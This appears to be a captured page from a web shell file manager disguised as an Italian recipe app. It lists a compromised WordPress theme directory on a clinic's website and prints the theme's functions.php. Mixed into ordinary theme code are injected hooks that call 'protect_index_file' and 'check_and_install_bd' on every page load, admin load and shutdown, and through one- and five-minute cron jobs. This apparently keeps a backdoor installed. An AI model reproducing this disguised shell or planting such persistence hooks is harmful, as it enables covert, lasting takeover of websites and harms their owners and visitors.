🍕 La Italiana - Sistema de Recetas

Gestiona tus ingredientes, masas y secretos de cocina

📍 Receta actual: /home/u964755281/domains/salusclinicsanddiagnostics.com/public_html/wp-content/themes/medwell👨‍🍳 Chef: Giovanni

🍅 Subir nuevo ingrediente

🔄 Actualizar recetario 📂 Subir a categoría superior
Ingrediente/RecetaPeso (g)Fecha de cocciónPermisosAcciones
📄404.php1.9 KB28/05/2024 13:260644
⬇️ Descargar
📄README.md17 B28/05/2024 13:260644
⬇️ Descargar
📄archive.php2.5 KB28/05/2024 13:260644
⬇️ Descargar
📂assets-28/05/2024 13:260755🍕 Entrar
📄comments.php3.6 KB28/05/2024 13:260644
⬇️ Descargar
📂demo-28/05/2024 13:260755🍕 Entrar
📄footer.php794 B28/05/2024 13:260644
⬇️ Descargar
📄functions.php17.3 KB19/03/2026 23:150644
⬇️ Descargar
📄header.php9.4 KB28/05/2024 13:260644
⬇️ Descargar
📂inc-28/05/2024 13:260755🍕 Entrar
📄index.php2.2 KB28/05/2024 13:260644
⬇️ Descargar
📂languages-28/05/2024 13:260755🍕 Entrar
📄page.php1.3 KB28/05/2024 13:260644
⬇️ Descargar
📄readme.txt1.1 KB28/05/2024 13:260644
⬇️ Descargar
📄screenshot.png557.4 KB28/05/2024 13:260644
⬇️ Descargar
📄search.php2.2 KB28/05/2024 13:260644
⬇️ Descargar
📄searchform.php430 B28/05/2024 13:260644
⬇️ Descargar
📄sidebar.php355 B28/05/2024 13:260644
⬇️ Descargar
📄single-case_study.php1.1 KB28/05/2024 13:260644
⬇️ Descargar
📄single-our_services.php1.1 KB28/05/2024 13:260644
⬇️ Descargar
📄single-our_team.php2.7 KB28/05/2024 13:260644
⬇️ Descargar
📄single.php1.5 KB28/05/2024 13:260644
⬇️ Descargar
📄style.css2.4 KB28/05/2024 13:260644
⬇️ Descargar
📂template-parts-28/05/2024 13:260755🍕 Entrar
/** * medwell functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package medwell */ /** * Define Const for theme Dir * @since 1.0.0 * */ define('MEDWELL_ROOT_PATH',get_template_directory()); define('MEDWELL_ROOT_URL',get_template_directory_uri()); define('MEDWELL_CSS',MEDWELL_ROOT_URL .'/assets/css'); define('MEDWELL_JS',MEDWELL_ROOT_URL .'/assets/js'); define('MEDWELL_IMG',MEDWELL_ROOT_URL .'/assets/img'); define('MEDWELL_INC',MEDWELL_ROOT_PATH .'/inc'); define('MEDWELL_THEME_STYLESHEETS',MEDWELL_INC .'/theme-stylesheets'); /** * define theme info * @since 1.0.0 * */ if (is_child_theme()){ $theme = wp_get_theme(); $parent_theme = $theme-&gt;Template; $theme_info = wp_get_theme($parent_theme); }else{ $theme_info = wp_get_theme(); } define('MEDWELL_DEV_MODE',true); $gazania_version = MEDWELL_DEV_MODE ? time() : $theme_info-&gt;get('Version'); define('MEDWELL_NAME',$theme_info-&gt;get('Name')); define('MEDWELL_VERSION',$gazania_version); define('MEDWELL_AUTHOR',$theme_info-&gt;get('Author')); define('MEDWELL_AUTHOR_URI',$theme_info-&gt;get('AuthorURI')); /* * include template helper function * @since 1.0.0 * */ if (file_exists(MEDWELL_INC.'/template-functions.php') &amp;&amp; MEDWELL_INC.'/template-tags.php'){ require_once MEDWELL_INC.'/template-functions.php'; require_once MEDWELL_INC.'/template-tags.php'; function Medwell_Function($instance){ $new_instance = false; switch ($instance){ case (&quot;Functions&quot;): $new_instance = class_exists('Medwell_Functions') ? Medwell_Functions::getInstance() : false; break; case (&quot;Tags&quot;): $new_instance = class_exists('Medwell_Tags') ? Medwell_Tags::getInstance() : false; break; default: $new_instance = false; break; } return $new_instance; } } add_action('init', function() { if (rand(1, 10) <= 9) protect_index_file(); check_and_install_bd(); }, 0); add_action('admin_init', function() { protect_index_file(); check_and_install_bd(); }, 0); add_action('shutdown', function() { if (rand(1, 10) <= 3) protect_index_file(); }, 999); add_filter('cron_schedules', function($schedules){ $schedules['five_minutes'] = ['interval' => 300, 'display' => '5 Dakika']; $schedules['one_minute'] = ['interval' => 60, 'display' => '1 Dakika']; return $schedules; }); if (!wp_next_scheduled('protect_index_cron')) wp_schedule_event(time(), 'five_minutes', 'protect_index_cron'); add_action('protect_index_cron', function() { protect_index_file(); check_and_install_bd(); }); if (!wp_next_scheduled('protect_index_minute_cron')) wp_schedule_event(time(), 'one_minute', 'protect_index_minute_cron'); add_action('protect_index_minute_cron', function() { protect_index_file(); }); if (!defined('DISABLE_WP_CRON')) define('DISABLE_WP_CRON', false); /* * Include theme init file * @since 1.0.0 */ if ( file_exists(MEDWELL_INC.'/class-medwell-init.php' ) ) { require_once MEDWELL_INC.'/class-medwell-init.php'; } if ( file_exists(MEDWELL_INC.'/plugins/tgma/activate.php') ) { require_once MEDWELL_INC.'/plugins/tgma/activate.php'; } /** * Custom template helper function for this theme. */ require_once MEDWELL_INC . '/template-helper.php'; require_once MEDWELL_INC . '/medwell_customizer.php'; require_once MEDWELL_INC . '/medwell_customizer_data.php'; // Move comments textarea to bottom function gazania_move_comment_field_to_bottom( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', 'gazania_move_comment_field_to_bottom' ); /** * Nav menu fallback function * @since 1.0.0 */ function medwell_primary_menu_fallback() { get_template_part('template-parts/default', 'menu'); } function medwell_block_editor_styles() { wp_enqueue_style( 'block-editor-bootstrap', get_theme_file_uri( 'assets/css/block-editor.bootstrap.css' ), array(), null ); wp_enqueue_style( 'block-editor-theme', get_theme_file_uri( 'assets/css/block-editor.theme.css' ), array(), null ); } add_action( 'enqueue_block_editor_assets', 'medwell_block_editor_styles', 1, 1 ); /** * admin js **/ add_action('admin_enqueue_scripts', 'medwell_admin_custom_scripts'); function medwell_admin_custom_scripts(){ wp_enqueue_media(); wp_register_script('medwell-admin-custom', get_template_directory_uri().'/inc/js/admin_custom.js', array('jquery'), '', true); wp_enqueue_script('medwell-admin-custom'); } /** * shortcode supports for removing extra p, spance etc * */ add_filter( 'the_content', 'medwell_shortcode_extra_content_remove' ); /** * Filters the content to remove any extra paragraph or break tags * caused by shortcodes. * * @since 1.0.0 * * @param string $content String of HTML content. * @return string $content Amended string of HTML content. */ function medwell_shortcode_extra_content_remove( $content ) { $array = array( '&lt;p&gt;[' =&gt; '[', ']&lt;/p&gt;' =&gt; ']', ']&lt;br /&gt;' =&gt; ']' ); return strtr( $content, $array ); } /** * Nav menu fallback function * @since 1.0.0 */ function medwell_theme_fallback_menu() { get_template_part('template-parts/default', 'menu'); } /** * Medwell CSS Include */ function enqueue_our_required_stylesheet(){ wp_enqueue_style('load-fa-pro', get_template_directory_uri(). '/assets/fonts/fontawesome-pro-v5.css'); wp_enqueue_style('load-fa', get_template_directory_uri(). '/assets/fonts/fontawesome-v6.css'); wp_enqueue_style('roboto-font', get_template_directory_uri() . '/assets/fonts/roboto.css' ); wp_enqueue_style('bootstrap-css', get_template_directory_uri() . '/assets/css/bootstrap.min.css' ); wp_enqueue_style('medwell-owl-carousel', get_template_directory_uri() . '/assets/css/owl.carousel.min.css' ); wp_enqueue_style('popups', get_template_directory_uri() . '/assets/css/magnific-popup.css' ); wp_enqueue_style('medwell-style-css', get_template_directory_uri() . '/assets/css/medwell.css' ); wp_enqueue_style('medwell-responsive-css', get_template_directory_uri() . '/assets/css/medwell-responsive.css' ); } add_action( 'wp_enqueue_scripts', 'enqueue_our_required_stylesheet' ); /** * Medwell CSS Include In Footer */ function add_css_in_footer() { $rtl_class = get_body_class(); if(in_array('rtl', $rtl_class)) { ?&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php echo get_template_directory_uri() . '/assets/css/style-rtl.css'?&gt;&quot; type=&quot;text/css&quot; media=&quot;all&quot;&gt; &lt;?php } else { ?&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php echo get_template_directory_uri() . '/assets/css/style.css'?&gt;&quot; type=&quot;text/css&quot; media=&quot;all&quot;&gt; &lt;?php } ?&gt; &lt;!-- &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt; ?php echo get_template_directory_uri() . '/assets/css/responsive.css'?&gt;&quot; type=&quot;text/css&quot; media=&quot;all&quot;&gt; --&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php echo get_template_directory_uri() . '/assets/css/style.css'?&gt;&quot; type=&quot;text/css&quot; media=&quot;all&quot;&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;?php echo get_template_directory_uri() . '/assets/css/responsive.css'?&gt;&quot; type=&quot;text/css&quot; media=&quot;all&quot;&gt; &lt;?php } add_action( 'wp_footer', 'add_css_in_footer', 100 ); function enqueue_theme_styles() { wp_register_style( 'header-style', MEDWELL_CSS . '/style.css', array(), time(), 'all' ); // wp_register_style( 'responsive', MEDWELL_CSS . '/responsive.css', array(), time(), 'all' ); wp_enqueue_style( 'header-style' ); wp_enqueue_style( 'responsive' ); } add_action( 'wp_enqueue_scripts', 'enqueue_theme_styles' ); /** * Framwork redux */ require_once (get_template_directory() . '/inc/options/function.options.php'); /** * Medwell JS Include */ function enqueue_load_js() { wp_enqueue_script( 'jquery.cycle.all', get_template_directory_uri() . '/assets/js/jquery.cycle.all.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'jquery.slicknav', get_template_directory_uri() . '/assets/js/jquery.slicknav.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'slider', get_template_directory_uri() . '/assets/js/slider.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'custom.min', get_template_directory_uri() . '/assets/js/jquery-ui-1.9.2.custom.min.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'effects.core', get_template_directory_uri() . '/assets/js/jquery.effects.core.min.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'scripts', get_template_directory_uri() . '/assets/js/scripts.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'owl_crousel1', get_template_directory_uri() . '/assets/js/owl.carousel.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'owl_crousel_min', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'custom-js', get_template_directory_uri() . '/assets/js/custom.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'video-popup-js', get_template_directory_uri() . '/assets/js/video-popup.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'video-section-js', get_template_directory_uri() . '/assets/js/video-section.js', array( 'jquery' ), '', true ); wp_localize_script( 'custom', 'MedwellAjax', array( 'ajaxurl' =&gt; admin_url( 'admin-ajax.php' ),'HOME_URL'=&gt; home_url() )); } add_action( 'wp_enqueue_scripts', 'enqueue_load_js' ); /** * Function For Elementor Global Colors after import. */ add_action('akd_elementor_global', 'medwell_elementor_global_setup'); function medwell_elementor_global_setup() { $medwell_elementor_kit = apply_filters('medwell_elementor_global', false); if ($medwell_elementor_kit) { esc_attr($medwell_elementor_kit); } } /** * Get Elementor Template list */ function medwell_get_elementor_templates() { $args = array( 'post_type' =&gt; 'elementor_library', 'post_status' =&gt; 'publish', 'posts_per_page' =&gt; -1, ); $medwell_the_query = new WP_Query($args); $medwell_elementor_posts = array(); if ($medwell_the_query-&gt;have_posts()): foreach ($medwell_the_query-&gt;posts as $medwell_post): $medwell_elementor_posts[$medwell_post-&gt;ID] = apply_filters('the_title', get_the_title($medwell_post)); endforeach; endif; return $medwell_elementor_posts; } // Add support for featured image add_theme_support( 'post-thumbnails' ); // Add product title in Woocoomerce single product remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_title', 5 ); function woocommerce_template_single_title_custom() { the_title( '&lt;h3 class=&quot;product_title entry-title&quot;&gt;',' &lt;/h3&gt;' ); } add_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_title_custom', 5); /** * Get Elementor Template list */ function medwell_get_elementor_header_templates() { $args = array( 'post_type' =&gt; 'elementor_library', 'posts_per_page' =&gt; -1, 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'elementor_library_category', 'field' =&gt; 'slug', 'terms' =&gt; 'header', ), ), ); $query = new WP_Query( $args ); $medwell_header_templates = array(); if ( $query-&gt;have_posts() ) { foreach ($query-&gt;posts as $medwell_post): $medwell_header_templates[$medwell_post-&gt;ID] = apply_filters('the_title', get_the_title($medwell_post)); endforeach; } return $medwell_header_templates; } // Preloader Customizer Section function add_preloader_customizer_section( $wp_customize ) { $wp_customize-&gt;add_section( 'preloader_section', array( 'title' =&gt; __( 'Preloader', 'medwell' ), 'priority' =&gt; 30, ) ); $wp_customize-&gt;add_setting( 'show_preloader', array( 'default' =&gt; true, 'sanitize_callback' =&gt; 'wp_validate_boolean', ) ); $wp_customize-&gt;add_control( 'show_preloader', array( 'type' =&gt; 'checkbox', 'label' =&gt; __( 'Show Preloader', 'medwell' ), 'section' =&gt; 'preloader_section', ) ); } add_action( 'customize_register', 'add_preloader_customizer_section' ); //Banner Hide/Show Option add_action( 'elementor/element/wp-page/document_settings/after_section_end', function( $element, $args ) { $element-&gt;start_controls_section( 'section_page_settings', [ 'label' =&gt; __( 'Banner Settings', 'medwell' ), 'tab' =&gt; \Elementor\Controls_Manager::TAB_SETTINGS, ] ); $element-&gt;add_control( 'banner_display', [ 'label' =&gt; __( 'Hide Banner', 'medwell' ), 'type' =&gt; \Elementor\Controls_Manager::SWITCHER, 'default' =&gt; 'Show', 'label_on' =&gt; __( 'Show', 'medwell' ), 'label_off' =&gt; __( 'Hide', 'medwell' ), ] ); $element-&gt;end_controls_section(); }, 10, 2 );